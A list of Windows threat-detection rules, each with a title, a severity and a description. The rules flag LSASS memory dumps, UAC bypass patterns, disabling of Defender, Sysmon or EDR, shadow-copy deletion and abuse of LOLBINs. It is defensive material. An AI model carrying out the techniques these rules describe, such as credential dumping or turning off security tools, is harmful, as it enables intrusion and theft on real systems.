Potentially Suspicious Desktop Background Change Using Reg.EXE	medium	Detects the execution of "reg.exe" to alter registry keys that would replace the user's desktop background. This is a common technique used by malware to change the desktop background to a ransom note or other image.
Security Service Disabled Via Reg.EXE	high	Detects execution of "reg.exe" to disable security services such as Windows Defender.
Potential Suspicious Registry File Imported Via Reg.EXE	medium	Detects the import of '.reg' files from suspicious paths using the 'reg.exe' utility
LSA PPL Protection Disabled Via Reg.EXE	high	Detects the usage of the "reg.exe" utility to disable PPL protection on the LSA process
Modify Group Policy Settings	medium	Detect malicious GPO modifications can be used to implement many other malicious behaviors.
Enable LM Hash Storage - ProcCreation	high	Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.
RestrictedAdminMode Registry Value Tampering - ProcCreation	high	Detects changes to the "DisableRestrictedAdmin" registry value in order to disable or enable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial connection process if the remote server has been compromise
Potential Tampering With RDP Related Registry Keys Via Reg.EXE	high	Detects the execution of "reg.exe" for enabling/disabling the RDP service on the host by tampering with the 'CurrentControlSet\Control\Terminal Server' values
Reg Add Suspicious Paths	high	Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys
Disabled Volume Snapshots	high	Detects commands that temporarily turn off Volume Snapshots
Suspicious Windows Defender Registry Key Tampering Via Reg.EXE	high	Detects the usage of "reg.exe" to tamper with different Windows Defender registry keys in order to disable some important features related to protection and detection
Write Protect For Storage Disabled	medium	Detects applications trying to modify the registry in order to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.
Remote Access Tool - RURAT Execution From Unusual Location	medium	Detects execution of Remote Utilities RAT (RURAT) from an unusual location (outside of 'C:\Program Files')
Remote Access Tool - NetSupport Execution From Unusual Location	medium	Detects execution of client32.exe (NetSupport RAT) from an unusual location (outside of 'C:\Program Files')
Renamed AutoHotkey.EXE Execution	medium	Detects execution of a renamed autohotkey.exe binary based on PE metadata fields
Renamed AutoIt Execution	high	Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe. AutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks. Attackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious.
Potential Defense Evasion Via Binary Rename	medium	Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.
Potential Defense Evasion Via Rename Of Highly Relevant Binaries	high	Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.
Renamed BOINC Client Execution	medium	Detects the execution of a renamed BOINC binary.
Renamed CreateDump Utility Execution	high	Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory
Renamed CURL.EXE Execution	medium	Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields
Renamed ZOHO Dctask64 Execution	high	Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution.
Renamed FTP.EXE Execution	medium	Detects the execution of a renamed "ftp.exe" binary based on the PE metadata fields
Renamed Jusched.EXE Execution	high	Detects the execution of a renamed "jusched.exe" as seen used by the cobalt group
Renamed Mavinject.EXE Execution	high	Detects the execution of a renamed version of the "Mavinject" process. Which can be abused to perform process injection using the "/INJECTRUNNING" flag
Renamed MegaSync Execution	high	Detects the execution of a renamed MegaSync.exe as seen used by ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.
Renamed Msdt.EXE Execution	high	Detects the execution of a renamed "Msdt.exe" binary
Renamed Microsoft Teams Execution	medium	Detects the execution of a renamed Microsoft Teams binary.
Renamed NetSupport RAT Execution	high	Detects the execution of a renamed "client32.exe" (NetSupport RAT) via Imphash, Product and OriginalFileName strings
Renamed NirCmd.EXE Execution	high	Detects the execution of a renamed "NirCmd.exe" binary based on the PE metadata fields.
Renamed Office Binary Execution	high	Detects the execution of a renamed office binary
Renamed PAExec Execution	high	Detects execution of renamed version of PAExec. Often used by attackers
Renamed PingCastle Binary Execution	high	Detects the execution of a renamed "PingCastle" binary based on the PE metadata fields.
Renamed Plink Execution	high	Detects the execution of a renamed version of the Plink binary
Visual Studio NodejsTools PressAnyKey Renamed Execution	medium	Detects renamed execution of "Microsoft.NodejsTools.PressAnyKey.exe", which can be abused as a LOLBIN to execute arbitrary binaries
Renamed Remote Utilities RAT (RURAT) Execution	medium	Detects execution of renamed Remote Utilities (RURAT) via Product PE header field
Renamed ProcDump Execution	high	Detects the execution of a renamed ProcDump executable. This often done by attackers or malware in order to evade defensive mechanisms.
Renamed Vmnat.exe Execution	high	Detects renamed vmnat.exe or portable version that can be used for DLL side-loading
Potential Rundll32 Execution With DLL Stored In ADS	high	Detects execution of rundll32 where the DLL being called is stored in an Alternate Data Stream (ADS).
Suspicious Advpack Call Via Rundll32.EXE	high	Detects execution of "rundll32" calling "advpack.dll" with potential obfuscated ordinal calls in order to leverage the "RegisterOCX" function
Suspicious Rundll32 Invoking Inline VBScript	high	Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452
Rundll32 InstallScreenSaver Execution	medium	An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver
Rundll32 Execution Without CommandLine Parameters	high	Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity
Mshtml.DLL RunHTMLApplication Suspicious Usage	high	Detects execution of commands that leverage the "mshtml.dll" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, http...)
Potential Obfuscated Ordinal Call Via Rundll32	medium	Detects execution of "rundll32" with potential obfuscated ordinal calls
Rundll32 Spawned Via Explorer.EXE	medium	Detects execution of "rundll32.exe" with a parent process of Explorer.exe. This has been observed by variants of Raspberry Robin, as first reported by Red Canary.
Process Memory Dump Via Comsvcs.DLL	high	Detects a process memory dump via "comsvcs.dll" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)
Suspicious Process Start Locations	medium	Detects suspicious process run from unusual locations
Suspicious Rundll32 Setupapi.dll Activity	medium	setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.
Shell32 DLL Execution in Suspicious Directory	high	Detects shell32.dll executing a DLL in a suspicious directory
Potential ShellDispatch.DLL Functionality Abuse	medium	Detects potential "ShellDispatch.dll" functionality abuse to execute arbitrary binaries via "ShellExecute"
RunDLL32 Spawning Explorer	high	Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way
Potentially Suspicious Rundll32 Activity	medium	Detects suspicious execution of rundll32, with specific calls to some DLLs with known LOLBIN functionalities
Suspicious Control Panel DLL Load	high	Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits
Suspicious Rundll32 Execution With Image Extension	high	Detects the execution of Rundll32.exe with DLL files masquerading as image files
Suspicious Usage Of ShellExec_RunDLL	high	Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack
Suspicious ShellExec_RunDLL Call Via Ordinal	high	Detects suspicious call to the "ShellExec_RunDLL" exported function of SHELL32.DLL through the ordinal number to launch other commands. Adversary might only use the ordinal number in order to bypass existing detection that alert on usage of ShellExec_RunDLL on CommandLine.
ShimCache Flush	high	Detects actions that clear the local ShimCache and remove forensic evidence
Suspicious Rundll32 Activity Invoking Sys File	high	Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452
Rundll32 Execution With Uncommon DLL Extension	medium	Detects the execution of rundll32 with a command line that doesn't contain a common extension
Rundll32 UNC Path Execution	high	Detects rundll32 execution where the DLL is located on a remote location (share)
Suspicious Workstation Locking via Rundll32	medium	Detects a suspicious call to the user32.dll function that locks the user workstation
Run Once Task Execution as Configured in Registry	low	This rule detects the execution of Run Once task as configured in the registry
Suspicious Scheduled Task Creation via Masqueraded XML File	medium	Detects the creation of a scheduled task using the "-XML" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence
Possible Privilege Escalation via Weak Service Permissions	high	Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand
Service StartupType Change Via Sc.EXE	medium	Detect the use of "sc.exe" to change the startup type of a service to "disabled" or "demand"
Service DACL Abuse To Hide Services Via Sc.EXE	high	Detects usage of the "sc.exe" utility adding a new service with special permission seen used by threat actors which makes the service hidden and unremovable.
Service Security Descriptor Tampering Via Sc.EXE	medium	Detection of sc.exe utility adding a new service with special permission which hides that service.
Sdiagnhost Calling Suspicious Child Process	high	Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)
Potential Suspicious Activity Using SeCEdit	medium	Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy
Uncommon Child Process Of Setres.EXE	high	Detects uncommon child process of Setres.EXE. Setres.EXE is a Windows server only process and tool that can be used to set the screen resolution. It can potentially be abused in order to launch any arbitrary file with a name containing the word "choice" from the current execution path.
Setup16.EXE Execution With Custom .Lst File	medium	Detects the execution of "Setup16.EXE" and old installation utility with a custom ".lst" file. These ".lst" file can contain references to external program that "Setup16.EXE" will execute. Attackers and adversaries might leverage this as a living of the land utility.
Uncommon Sigverif.EXE Child Process	medium	Detects uncommon child processes spawning from "sigverif.exe", which could indicate potential abuse of the latter as a living of the land binary in order to proxy execution.
Suspicious Splwow64 Without Params	high	Detects suspicious Splwow64.exe process without any command line parameters
Arbitrary File Download Via Squirrel.EXE	medium	Detects the usage of the "Squirrel.exe" to download arbitrary files. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)
Process Proxy Execution Via Squirrel.EXE	medium	Detects the usage of the "Squirrel.exe" binary to execute arbitrary processes. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)
Program Executed Using Proxy/Local Command Via SSH.EXE	medium	Detect usage of the "ssh.exe" binary as a proxy to launch other programs.
Execution via stordiag.exe	high	Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe
Start of NT Virtual DOS Machine	medium	Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications
Execute From Alternate Data Streams	medium	Detects execution from an Alternate Data Stream (ADS). Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection
Potentially Suspicious Windows App Activity	medium	Detects potentially suspicious child process of applications launched from inside the WindowsApps directory. This could be a sign of a rogue ".appx" package installation/execution
Bad Opsec Defaults Sacrificial Processes With Improper Arguments	high	Detects attackers using tooling with bad opsec defaults. E.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run. One trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.
Potential Commandline Obfuscation Using Escape Characters	medium	Detects potential commandline obfuscation using known escape characters
Potential CommandLine Obfuscation Using Unicode Characters From Suspicious Image	high	Detects potential commandline obfuscation using unicode characters. Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.
Potential Command Line Path Traversal Evasion Attempt	medium	Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline
Suspicious Copy From or To System Directory	medium	Detects a suspicious copy operation that tries to copy a program from system (System32, SysWOW64, WinSxS) directories to another on disk. Often used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations.
LOL-Binary Copied From System Directory	high	Detects a suspicious copy operation that tries to copy a known LOLBIN from system (System32, SysWOW64, WinSxS) directories to another on disk in order to bypass detections based on locations.
Raccine Uninstall	high	Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.
Suspicious Parent Double Extension File Execution	high	Detect execution of suspicious double extension files in ParentCommandLine
DumpStack.log Defender Evasion	critical	Detects the use of the filename DumpStack.log to evade Microsoft Defender
Elevated System Shell Spawned From Uncommon Parent Location	medium	Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges from a uncommon parent location.
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 2	high	Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 1	high	Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 3	high	Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.
ETW Logging Tamper In .NET Processes Via CommandLine	high	Detects changes to environment variables related to ETW logging via the CommandLine. This could indicate potential adversaries stopping ETW providers recording loaded .NET assemblies.
Potential Defense Evasion Activity Via Emoji Usage In CommandLine - 4	high	Detects the usage of emojis in the command line, this could be a sign of potential defense evasion activity.
ETW Trace Evasion Activity	high	Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion.
Suspicious Eventlog Clearing or Configuration Change Activity	high	Detects the clearing or configuration tampering of EventLog using utilities such as "wevtutil", "powershell" and "wmic". This technique were seen used by threat actors and ransomware strains in order to evade defenses.
Potentially Suspicious Execution From Parent Process In Public Folder	high	Detects a potentially suspicious execution of a parent process located in the "\Users\Public" folder executing a child process containing references to shell or scripting binaries and commandlines.
Process Execution From A Potentially Suspicious Folder	high	Detects a potentially suspicious execution from an uncommon folder.
Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI	medium	Detects command line containing reference to the "::$index_allocation" stream, which can be used as a technique to prevent access to folders or files from tooling such as "explorer.exe" or "powershell.exe"
Writing Of Malicious Files To The Fonts Folder	medium	Monitors for the hiding possible malicious files in the C:\Windows\Fonts\ location. This folder doesn't require admin privillege to be written and executed from.
Potential Homoglyph Attack Using Lookalike Characters	medium	Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.
Execution Of Non-Existing File	high	Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)
LOLBIN Execution From Abnormal Drive	medium	Detects LOLBINs executing from an abnormal or uncommon drive such as a mounted ISO.
Potential File Download Via MS-AppInstaller Protocol Handler	medium	Detects usage of the "ms-appinstaller" protocol handler via command line to potentially download arbitrary files via AppInstaller.EXE The downloaded files are temporarly stored in ":\Users\%username%\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\AC\INetCache\"
Execution of Suspicious File Type Extension	medium	Detects whether the image specified in a process creation event doesn't refer to an ".exe" (or other known executable extension) file. This can be caused by process ghosting or other unorthodox methods to start a process. This rule might require some initial baselining to align with some third party tooling in the user environment.
Non-privileged Usage of Reg or Powershell	high	Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry
Process Launched Without Image Name	medium	Detect the use of processes with no name (".exe"), which can be used to evade Image-based detections.
Potentially Suspicious Call To Win32_NTEventlogFile Class	high	Detects usage of the WMI class "Win32_NTEventlogFile" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script
Use Short Name Path in Command Line	medium	Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection
Use Short Name Path in Image	medium	Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection
Use NTFS Short Name in Command Line	medium	Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection
Use NTFS Short Name in Image	medium	Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection
Suspicious Process Parents	high	Detects suspicious parent processes that should not have any children or should only have a single possible child program
Potential PowerShell Execution Via DLL	high	Detects potential PowerShell execution from a DLL instead of the usual PowerShell process as seen used in PowerShdll. This detection assumes that PowerShell commands are passed via the CommandLine.
Windows Processes Suspicious Parent Directory	low	Detect suspicious parent processes of well-known Windows processes
Suspicious Process Execution From Fake Recycle.Bin Folder	high	Detects process execution from a fake recycle bin folder, often used to avoid security solution.
Potential Defense Evasion Via Right-to-Left Override	high	Detects the presence of the "u202+E" character, which causes a terminal, browser, or operating system to render text in a right-to-left sequence. This is used as an obfuscation and masquerading techniques.
Suspicious Service Binary Directory	high	Detects a service binary running in a suspicious directory
Suspicious Windows Service Tampering	high	Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause, disable or delete critical or important Windows services such as AV, Backup, etc. As seen being used in some ransomware scripts
System File Execution Location Anomaly	high	Detects the execution of a Windows system binary that is usually located in the system folder from an uncommon location.
Shadow Copies Deletion Using Operating Systems Utilities	high	Shadow Copies deletion using operating systems utilities
Windows Shell/Scripting Processes Spawning Suspicious Programs	high	Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc.
Suspicious SYSTEM User Process Creation	high	Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)
Tasks Folder Evasion	high	The Tasks folder in system32 and syswow64 are globally writable paths. Adversaries can take advantage of this and load or influence any script hosts or ANY .NET Application in Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr
Process Creation Using Sysnative Folder	medium	Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)
Suspicious Userinit Child Process	medium	Detects a suspicious child process of userinit
Malicious Windows Script Components File Execution by TAEF Detection	low	Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces Adversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe
Malicious PE Execution by Microsoft Visual Studio Debugger	medium	There is an option for a MS VS Just-In-Time Debugger "vsjitdebugger.exe" to launch specified executable and attach a debugger. This option may be used adversaries to execute malicious code by signed verified binary. The debugger is installed alongside with Microsoft Visual Studio package.
Weak or Abused Passwords In CLI	medium	Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline
Execution via WorkFolders.exe	high	Detects using WorkFolders.exe to execute an arbitrary control.exe
Suspect Svchost Activity	high	It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.
Suspicious Process Masquerading As SvcHost.EXE	high	Detects a suspicious process that is masquerading as the legitimate "svchost.exe" by naming its binary "svchost.exe" and executing from an uncommon location. Adversaries often disguise their malicious binaries by naming them after legitimate system processes like "svchost.exe" to evade detection.
Uncommon Svchost Parent Process	medium	Detects an uncommon svchost parent process
Potential Memory Dumping Activity Via LiveKD	medium	Detects execution of LiveKD based on PE metadata or image name
Kernel Memory Dump Via LiveKD	high	Detects execution of LiveKD with the "-m" flag to potentially dump the kernel memory
Procdump Execution	medium	Detects usage of the SysInternals Procdump utility
Potential SysInternals ProcDump Evasion	high	Detects uses of the SysInternals ProcDump utility in which ProcDump or its output get renamed, or a dump file is moved or copied to a different name
Potential LSASS Process Dump Via Procdump	high	Detects suspicious uses of the SysInternals Procdump utility by using a special command line parameter in combination with the lsass.exe process. This way we are also able to catch cases in which the attacker has renamed the procdump executable.
Sysinternals PsSuspend Suspicious Execution	high	Detects suspicious execution of Sysinternals PsSuspend, where the utility is used to suspend critical processes such as AV or EDR to bypass defenses
Sysmon Configuration Update	medium	Detects updates to Sysmon's configuration. Attackers might update or replace the Sysmon configuration with a bare bone one to avoid monitoring without shutting down the service completely
Uninstall Sysinternals Sysmon	high	Detects the removal of Sysmon, which could be a potential attempt at defense evasion
Potential Binary Impersonating Sysinternals Tools	medium	Detects binaries that use the same name as legitimate sysinternals tools to evade detection
Potential Signing Bypass Via Windows Developer Features	high	Detects when a user enable developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.
Suspicious Recursive Takeown	medium	Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders
Taskkill Symantec Endpoint Protection	high	Detects one of the possible scenarios for disabling Symantec Endpoint Protection. Symantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism. As a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.
Taskmgr as LOCAL_SYSTEM	high	Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM
New Process Created Via Taskmgr.EXE	low	Detects the creation of a process via the Windows task manager. This might be an attempt to bypass UAC
Bypass UAC via CMSTP	high	Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files
UAC Bypass Using Disk Cleanup	high	Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)
UAC Bypass Using ChangePK and SLUI	high	Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)
CMSTP UAC Bypass via COM Object Access	high	Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)
UAC Bypass Tools Using ComputerDefaults	high	Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)
UAC Bypass Using Consent and Comctl32 - Process	high	Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)
UAC Bypass Using DismHost	high	Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)
UAC Bypass Using Event Viewer RecentViews	high	Detects the pattern of UAC Bypass using Event Viewer RecentViews
UAC Bypass Using NTFS Reparse Point - Process	high	Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)
UAC Bypass via ICMLuaUtil	high	Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface
UAC Bypass Using IDiagnostic Profile	high	Detects the "IDiagnosticProfileUAC" UAC bypass technique
UAC Bypass Using IEInstal - Process	high	Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)
UAC Bypass Using MSConfig Token Modification - Process	high	Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)
UAC Bypass Using PkgMgr and DISM	high	Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)
Potential UAC Bypass Via Sdclt.EXE	medium	A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.
TrustedPath UAC Bypass Pattern	critical	Detects indicators of a UAC bypass method by mocking directories
UAC Bypass Abusing Winsat Path Parsing - Process	high	Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)
UAC Bypass Using Windows Media Player - Process	high	Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)
Bypass UAC via WSReset.exe	high	Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.
UAC Bypass WSReset	high	Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config
Uninstall Crowdstrike Falcon Sensor	high	Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon
Verclsid.exe Runs COM Object	medium	Detects when verclsid.exe is used to run COM object via GUID
Detect Virtualbox Driver Installation OR Starting Of VMs	low	Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.
Suspicious VBoxDrvInst.exe Parameters	medium	Detect VBoxDrvInst.exe run with parameters allowing processing INF file. This allows to create values in the registry and install drivers. For example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys
Potentially Suspicious Child Process Of VsCode	medium	Detects uncommon or suspicious child processes spawning from a VsCode "code.exe" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles.
Potential Binary Proxy Execution Via VSDiagnostics.EXE	medium	Detects execution of "VSDiagnostics.exe" with the "start" command in order to launch and proxy arbitrary binaries.
Suspicious Vsls-Agent Command With AgentExtensionPath Load	medium	Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter
Wab Execution From Non Default Location	high	Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity
Wab/Wabmig Unusual Parent Or Child Processes	high	Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity
Potential ReflectDebugger Content Execution Via WerFault.EXE	medium	Detects execution of "WerFault.exe" with the "-pr" commandline flag that is used to run files stored in the ReflectDebugger key which could be used to store the path to the malware in order to masquerade the execution flow
Suspicious Child Process Of Wermgr.EXE	high	Detects suspicious Windows Error Reporting manager (wermgr.exe) child process
Add New Download Source To Winget	medium	Detects usage of winget to add new additional download sources
Add Insecure Download Source To Winget	high	Detects usage of winget to add a new insecure (http) download source. Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)
Add Potential Suspicious New Download Source To Winget	medium	Detects usage of winget to add new potentially suspicious download sources
Install New Package Via Winget Local Manifest	medium	Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later.
AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl	medium	Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)
Remote Code Execute via Winrm.vbs	medium	Detects an attempt to execute code or create service on remote host via winrm.vbs.
Wlrmdr.EXE Uncommon Argument Or Child Process	medium	Detects the execution of "Wlrmdr.exe" with the "-u" command line flag which allows anything passed to it to be an argument of the ShellExecute API, which would allow an attacker to execute arbitrary binaries. This detection also focuses on any uncommon child processes spawned from "Wlrmdr.exe" as a supplement for those that posses "ParentImage" telemetry.
Potential SquiblyTwo Technique Execution	medium	Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields
Suspicious WMIC Execution Via Office Process	high	Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin).
Potential Tampering With Security Products Via WMIC	high	Detects uninstallation or termination of security products using the WMIC utility
XSL Script Execution Via WMIC.EXE	medium	Detects the execution of WMIC with the "format" flag to potentially load XSL files. Adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.
Suspicious WmiPrvSE Child Process	high	Detects suspicious and uncommon child processes of WmiPrvSE
UEFI Persistence Via Wpbbin - ProcessCreation	high	Detects execution of the binary "wpbbin" which is used as part of the UEFI based persistence method described in the reference section
WSL Child Process Anomaly	medium	Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL
Windows Binary Executed From WSL	medium	Detects the execution of Windows binaries from within a WSL instance. This could be used to masquerade parent-child relationships
Proxy Execution Via Wuauclt.EXE	high	Detects the use of the Windows Update Client binary (wuauclt.exe) for proxy execution.
Suspicious Windows Update Agent Empty Cmdline	high	Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags
Xwizard.EXE Execution From Non-Default Location	high	Detects the execution of Xwizard tool from a non-default directory. When executed from a non-default directory, this utility can be abused in order to side load a custom version of "xwizards.dll".
COM Object Execution via Xwizard.EXE	medium	Detects the execution of Xwizard tool with the "RunWizard" flag and a GUID like argument. This utility can be abused in order to run custom COM object created in the registry.
Potential Process Hollowing Activity	medium	Detects when a memory process image does not match the disk image, indicative of process hollowing.
Potential Defense Evasion Via Raw Disk Access By Uncommon Tools	low	Detects raw disk access using uncommon tools or tools that are located in suspicious locations (heavy filtering is required), which could indicate possible defense evasion attempts
Potential NetWire RAT Activity - Registry	high	Detects registry keys related to NetWire RAT
Folder Removed From Exploit Guard ProtectedFolders List - Registry	high	Detects the removal of folders from the "ProtectedFolders" list of of exploit guard. This could indicate an attacker trying to launch an encryption process or trying to manipulate data inside of the protected folder
Terminal Server Client Connection History Cleared - Registry	high	Detects the deletion of registry keys containing the MSTSC connection history
Removal Of AMSI Provider Registry Keys	high	Detects the deletion of AMSI provider registry key entries in HKLM\Software\Microsoft\AMSI. This technique could be used by an attacker in order to disable AMSI inspection.
Removal of Potential COM Hijacking Registry Keys	medium	Detects any deletion of entries in ".*\shell\open\command" registry keys. These registry keys might have been used for COM hijacking activities by a threat actor or an attacker and the deletion could indicate steps to remove its tracks.
Removal Of Index Value to Hide Schedule Task - Registry	medium	Detects when the "index" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as "schtasks /query"
Removal Of SD Value to Hide Schedule Task - Registry	medium	Remove SD (Security Descriptor) value in \Schedule\TaskCache\Tree registry hive to hide schedule task. This technique is used by Tarrask malware
UAC Bypass Via Wsreset	high	Unfixed method for UAC bypass from Windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.
CMSTP Execution Registry Event	high	Detects various indicators of Microsoft Connection Manager Profile Installer execution
Disable Security Events Logging Adding Reg Key MiniNt	high	Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.
Wdigest CredGuard Registry Modification	high	Detects potential malicious modification of the property value of IsCredGuardEnabled from HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to disable Cred Guard on a system. This is usually used with UseLogonCredential to manipulate the caching credentials.
Potential Qakbot Registry Activity	high	Detects a registry key used by IceID in a campaign that distributes malicious OneNote files
NetNTLM Downgrade Attack - Registry	high	Detects NetNTLM downgrade attack
New PortProxy Registry Entry Added	medium	Detects the modification of the PortProxy registry key which is used for port forwarding.
